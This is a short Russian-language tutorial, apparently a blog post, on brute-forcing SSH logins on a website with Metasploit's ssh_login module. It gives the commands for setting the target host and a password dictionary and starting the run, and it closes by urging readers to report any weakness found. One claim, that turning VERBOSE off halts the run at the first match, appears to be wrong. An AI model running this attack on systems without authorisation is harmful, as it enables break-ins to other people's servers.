Пентестим сайт

И снова я. Вижу большенству зашла предыдущая статья, поэтому продолжаем.

Сегодня мы рассмотрим атаку на Port 22 (ssh). Будем использовать так называемый способом Brute forse(взлом пароля путём перебора всех возможных вариантов ключа). Способ довольно примитивный, но в случае если администрация не изменяла стандартные пароли, очень даже рабочий.

Для начала запустим metasploit командой:

./msfconsole

Далее используем модуль auxiliary/scanner/ssh/ssh_login:

msf > use auxiliary/scanner/ssh/ssh_login

Прописывая команду:

msf> show options

мы увидим параметры нашего ssh_login, так как мы ещё ничего не ввели, таблица будет пустой. Начинаем заполнять...

1. Вводим IP нашего ресурса:

msf auxiliary(ssh_login) > set RHOSTS <IP address>

2. Указываем путь к словарю с паролями:

msf auxiliary(ssh_login) > set USERPASS_FILE <путь к файлу>

3. Ну и на последок деактивируем пункт VERBOSE

Если VERBOSE деактмвирован, то при нахождении подходящего пароля, подбор прекратится. Деактивируем командой:

msf auxiliary(ssh_login) > set VERBOSE false

Все, можно начинать подбор:

msf auxiliary(ssh_login) > run

Поздравляю! Атака идёт, по завершении вам выдаст примерно такое:

Если все удалось, поздравляю. Вы нашли уязвимость и применили ее. Теперь пишите администрация ресурса что у них есть бреш в системе. И не в коем случае не надо воровать данные, будьте честными! Всем удачи и пока.